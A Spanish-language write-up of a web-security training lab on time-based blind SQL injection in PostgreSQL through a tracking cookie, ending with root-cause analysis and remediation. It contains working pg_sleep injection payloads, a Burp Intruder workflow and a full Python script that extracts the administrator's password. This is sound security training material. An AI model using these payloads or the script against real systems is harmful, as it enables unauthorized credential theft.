Time-based blind SQLi con pg_sleep en PostgreSQL: extracción de credenciales por retardo condicional

1. Target Overview & Vulnerability Summary

La cookie TrackingId se inserta en una consulta SQL de analytics. Ni el resultado ni los errores se reflejan en la respuesta; el único discriminador es el tiempo de ejecución, porque la query se ejecuta de forma síncrona y su retardo es observable por el cliente. Back-end PostgreSQL: el lab se resuelve con la clase time-based blind SQLi usando pg_sleep(), sin necesidad de oráculo de contenido ni de errores.

Severidad	Endpoint vulnerable	Root cause
High	GET / — cookie TrackingId	Concatenación de la cookie en una query SQL; el canal de inferencia es el retardo síncrono de la consulta (time-based)

2. Technical Breakdown & Exploitation Flow

2.1 Primitiva de retardo condicional

La inyección cierra el literal con x', usa el separador de statements ; (URL-encoded como %3B) para abrir una subconsulta SELECT CASE WHEN ... THEN pg_sleep(10) ELSE pg_sleep(0) END, y comenta el resto con --:

GET / HTTP/1.1
Host: 0ac400b5040ce9e8806d7bf3003f00e1.web-security-academy.net
Cookie: TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

';SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--

Con 1=1 la respuesta tarda ~10 s; con 1=2 responde al instante. Cada condición boolean puede así inferirse por la latencia.

2.2 Confirmación del usuario administrator

';SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

La demora de 10 s confirma la fila. La condición se ancla al predicado de la fila, no a la tabla completa.

2.3 Determinación de la longitud de la password

Barrido manual con Burp Repeater incrementando el umbral:

';SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

';SELECT CASE WHEN (username='administrator' AND LENGTH(password)>2) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

La respuesta deja de tardar 10 s cuando el umbral supera la longitud real: 20 caracteres.

2.4 Extracción posicional con Intruder (single-threaded)

SUBSTRING(password,pos,1) extrae un carácter y lo compara contra el payload position marker:

';SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='§a§') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

Workflow en Burp Intruder:

1. Marcar solo la a como payload position (§a§).
2. Payloads → Simple list → charset a-z y 0-9 (vía Add from list).
3. Resource pool → Maximum concurrent requests = 1: el canal de tiempo es frágil; con concurrencia > 1 se mezclan las latencias y las comparaciones con el umbral de 10 s se vuelven ruidosas.
4. Lanzar el ataque; en la columna Response received una fila destacará por ~10.000 ms → ese payload es el carácter correcto.
5. Repetir para cada offset (cambiar SUBSTRING(password,N,1) de 1 a 2, 3, ...) hasta completar la password.

2.5 Automatización con Python

Script que mide la latencia y considera correcto el carácter cuyo tiempo supera el umbral:

#!/usr/bin/env python3

import requests
from string import ascii_lowercase, digits
from concurrent.futures import ThreadPoolExecutor, as_completed
import time
import threading

url = 'https://0ac400b5040ce9e8806d7bf3003f00e1.web-security-academy.net/'
trackingid = '8vnccIM6ebUNzz26'

PASSWORD_LENGTH = 20
CHARSET = ascii_lowercase + digits
SESSION_ID = 'qrP2MhMx6JHd92nx'
MAX_WORKERS = 10
SLEEP_TIME = 5
REQUEST_TIMEOUT = SLEEP_TIME + 2

print_lock = threading.Lock()

def check_character(position: int, character: str) -> tuple:
    payload = f"{trackingid}'||(SELECT CASE WHEN (SUBSTRING(password,{position},1)='{character}') THEN pg_sleep({SLEEP_TIME}) ELSE pg_sleep(0) END FROM users WHERE username='administrator')||'"

    cookie = {
        'session': SESSION_ID,
        'TrackingId': payload
    }

    try:
        start_time = time.time()
        response = requests.get(url, cookies=cookie, timeout=REQUEST_TIMEOUT)
        elapsed_time = time.time() - start_time

        is_correct = elapsed_time >= SLEEP_TIME

        return position, character, is_correct, elapsed_time

    except requests.Timeout:
        return position, character, True, SLEEP_TIME
    except requests.RequestException as e:
        return position, character, False, 0

def find_character(position: int) -> str:
    found_char = None

    with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
        future_to_char = {
            executor.submit(check_character, position, char): char
            for char in CHARSET
        }

        completed = 0
        for future in as_completed(future_to_char):
            pos, char, found, response_time = future.result()
            completed += 1

            with print_lock:
                print(f'[+] Posición {position}: Probando "{char}" - Tiempo: {response_time:.2f}s - ({completed}/{len(CHARSET)})', end='\r')

            if found:
                found_char = char
                for f in future_to_char:
                    f.cancel()
                break

    return found_char

def find_character_optimized(position: int) -> str:
    batch_size = 5

    for i in range(0, len(CHARSET), batch_size):
        batch = CHARSET[i:i + batch_size]

        with ThreadPoolExecutor(max_workers=batch_size) as executor:
            future_to_char = {
                executor.submit(check_character, position, char): char
                for char in batch
            }

            for future in as_completed(future_to_char):
                pos, char, found, response_time = future.result()

                with print_lock:
                    print(f'[+] Posición {position}: Probando "{char}" - Tiempo: {response_time:.2f}s', end='\r')

                if found:
                    executor.shutdown(wait=False)
                    return char

    return None

def main():
    password = []
    start_time_total = time.time()

    print(f"[*] Iniciando extracción de contraseña con sleep({SLEEP_TIME}s)...")
    print(f"[*] Charset: {len(CHARSET)} caracteres")
    print(f"[*] Longitud esperada: {PASSWORD_LENGTH} caracteres\n")

    try:
        for position in range(1, PASSWORD_LENGTH + 1):
            position_start_time = time.time()

            print(f'[*] Buscando posición {position}...')

            char = find_character_optimized(position)

            if char:
                password.append(char)
                position_time = time.time() - position_start_time

                with print_lock:
                    current_password = ''.join(password)
                    print(f'[✓] Posición {position}: "{char}" - Contraseña: {current_password} - Tiempo: {position_time:.2f}s')
            else:
                print(f'\n[-] Error: No se encontró carácter en posición {position}')
                break

            if len(password) > 3:
                avg_time_per_char = (time.time() - start_time_total) / len(password)
                remaining_chars = PASSWORD_LENGTH - len(password)
                estimated_remaining = avg_time_per_char * remaining_chars
                print(f'[*] Tiempo estimado restante: {estimated_remaining:.2f}s\n')

        final_password = ''.join(password)
        total_time = time.time() - start_time_total

        print(f'\n{"="*50}')
        print(f'[+] Contraseña encontrada: {final_password}')
        print(f'[+] Tiempo total: {total_time:.2f}s')
        print(f'[+] Velocidad promedio: {total_time/PASSWORD_LENGTH:.2f}s por carácter')
        print(f'{"="*50}')

    except KeyboardInterrupt:
        total_time = time.time() - start_time_total
        current_password = ''.join(password)
        print(f'\n[*] Ejecución interrumpida por el usuario')
        print(f'[*] Contraseña parcial: {current_password}')
        print(f'[*] Tiempo transcurrido: {total_time:.2f}s')

if __name__ == "__main__":
    main()

Con la password recuperada se resuelve el lab autenticándose como administrator.

3. Root Cause Analysis

La query se construye por interpolación del valor de la cookie, y la aplicación además ejecuta la consulta de forma síncrona en el request handler:

SELECT trackingId FROM someTable WHERE trackingId = '8vnccIM6ebUNzz26'

El ; inyectado cierra el statement e introduce una segunda consulta independiente cuyo tiempo de ejecución el cliente observa como latencia de respuesta. El hecho de que pg_sleep() sea una función síncrona del planificador y de que el handler no aísle la conexión (ni use prepared statements ni timeouts de statement) convierte el motor PostgreSQL en un canal de inferencia temporal. A diferencia de los booleanos por contenido, aquí no hay ningún render condicional: la fuga es puramente temporal, lo que exige medir latencia y serializar los probes.

4. Secure Remediation

Parametrización de la query:

String sql = "SELECT trackingId FROM analytics WHERE trackingId = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, cookie);

Refuerzos específicos contra el canal time-based:

• La parametrización elimina la inyección de raíz; como defensa adicional, revocar el privilegio de ejecutar pg_sleep/pg_sleep-equivalentes (REVOKE EXECUTE) al rol de la aplicación cuando no lo requiera.
• Aplicar statement_timeout a nivel de conexión del pool: limita el impacto de un eventual pg_sleep remanente y degrada el canal de timing sin romper queries legítimas.